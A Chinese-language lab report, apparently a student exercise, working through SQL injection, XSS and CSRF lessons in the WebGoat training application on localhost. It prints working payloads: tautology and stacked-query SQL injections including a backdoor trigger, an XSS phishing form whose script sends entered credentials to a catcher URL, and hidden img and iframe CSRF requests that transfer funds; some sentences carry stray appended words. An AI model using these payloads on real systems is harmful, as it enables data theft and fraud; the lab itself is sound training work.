本實踐的目標理解經常使用網絡攻擊技術的基本原理,作很多於7個題目,共3.5分。包括(SQL,XSS,CSRF)。Webgoat實踐下相關實驗。java
SQL注入漏洞是指在Web應用對後臺數據庫查詢語句處理存在的安全漏洞。也就是,在輸入字符串中嵌入SQL指令,在設計程序中忽略對可能構成攻擊的特殊字符串的檢查。後臺數據庫將其認做正常SQL指令後正常執行,可能實現對後臺數據庫進行各類操做,甚至形成破壞後臺數據庫等嚴重後果。
SQL注入通常分爲普通注入和盲注:
普通注入:後臺數據庫會回顯有價值的提示信息,經過這些可能的報錯信息能夠更容易地進行注入,適合新手入門訓練。
盲注:後臺管理員在給出錯誤頁面時,沒有提供詳細錯誤信息。攻擊者須要運用腳本經過僅有的判斷信息(好比時間差)對錶中的每個字段進行探測,從而實現注入。web
對輸入的數據進行過濾,過濾掉敏感字符。加密數據庫。sql
攻擊者利用網站漏洞(一般這些漏洞是指網站後臺處理程序沒有很好的對用戶輸入進行過濾),輸入能夠顯示在頁面上的、對其餘用戶形成影響的HTML代碼;因爲受害者瀏覽器對目標服務器的信任,當其訪問目標服務器上被注入惡意腳本的頁面後,這段惡意腳本能夠順利執行,實現獲取用戶cookie並能夠利用用戶身份進行非法操做的目的。數據庫
表單提交的時候進行特殊字符的檢測。
消除網站的XSS漏洞,網站開發者運用轉義安全字符手段。瀏覽器
CSRF攻擊的主要目的是讓用戶在不知情的狀況下攻擊本身已登陸的一個系統,相似於釣魚。如用戶當前已經登陸了郵箱,或bbs,同時用戶又在使用另一個,已經被你控制的站點,咱們姑且叫它釣魚網站。這個網站上面可能由於某個圖片吸引你,你去點擊一下,此時可能就會觸發一個js的點擊事件,構造一個bbs發帖的請求,去往你的bbs發帖,因爲當前你的瀏覽器狀態已是登錄狀態,因此session登錄cookie信息都會跟正常的請求同樣,純自然的利用當前的登錄狀態,讓用戶在不知情的狀況下,幫你發帖或幹其餘事情。安全
對於每個重要的post提交頁面,都使用一個驗證碼
每個網頁包含一個web server產生的token, 提交時,也將該token提交到服務器,服務器進行判斷,若是token不對,就斷定爲CSRF攻擊服務器
1.下載webgoat-container-7.0.1-war-exec.jar文件
二、在含有該文件的目錄下使用命令java -jar webgoat-container-7.0.1-war-exec.jar
運行Webgoat,出現信息: Starting ProtocolHandler ["http-bio-8080"]說明開啓成功,實驗過程當中不能關閉終端
三、在瀏覽器中輸入http://localhost:8080/WebGoat
進入WebGoat登陸界面
四、使用默認用戶名密碼guest登陸便可
cookie
右鍵點擊頁面,選擇inspect Element
審查網頁元素對源代碼進行修改,在選中的城市編號Value值中添加or 1=1
:
攻擊成功,顯示全部城市的天氣狀況:
網絡
利用入回車(0D%)和換行符(%0A),在 username 中填入zch%0d%0aLogin Succeeded for username: admin,攻擊成功:
session
根據題目要求輸入:Smith
。能夠看到查詢的相關信息,語句爲SELECT * FROM user_data WHERE last_name = 'Smith'
注入永真式'or 1='1
攻擊成功:
Stage 1: String SQL Injection:
輸入or 1=1 --
進行SQL注入,失敗;查看源碼發現是對輸入長度進行了限制,修改源碼再次注入,成功。
首先驗證一下語句,在`user ID
輸入101; update employee set salary=5000,
能夠看到更新的數據
進行注入101; CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHEREuserid = NEW.userid
建立後門:
在搜索框中直接輸入要進行xss的攻擊代碼。參考編寫,添加一個form可讓用戶輸入用戶名和密碼,再使這些信息可以發送給網站並顯示:
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
點擊search,出現表單,輸入信息,攻擊成功:
建立非法的消息內容,能夠致使其餘用戶訪問時載入非預期的頁面或內容;命名title,在message裏輸入一串js代碼:<script>alert("boy next door");</script>
,點擊剛剛建立的帖子,彈出窗口
輸入錯誤用戶信息後,服務器校驗輸入有誤,返回錯誤頁面並將錯誤內容展現。若是輸入一個攻擊URL就會返回該信息。輸入,提交:
寫一個URL放進Message框,使其餘用戶不可見,設置成一個隱藏圖片,用戶一旦點擊就會觸發一個CSRF事件;在Message裏輸入<img src="http://localhost:8080/WebGoat/attack?Screen=&menu=900&transferFunds=5000" width="1" height="1" />
;點擊該消息,頁面就會下載這個消息並顯示,就會執行轉走用戶的存款。
message框中輸入:
<iframe src="attack?Screen=[scr]menu=[menu]&transferFunds=5000"> </iframe> <iframe src="attack?Screen=[scr]&menu=[menu]&transferFunds=CONFIRM"> </iframe>
查看消息,看到轉帳消息: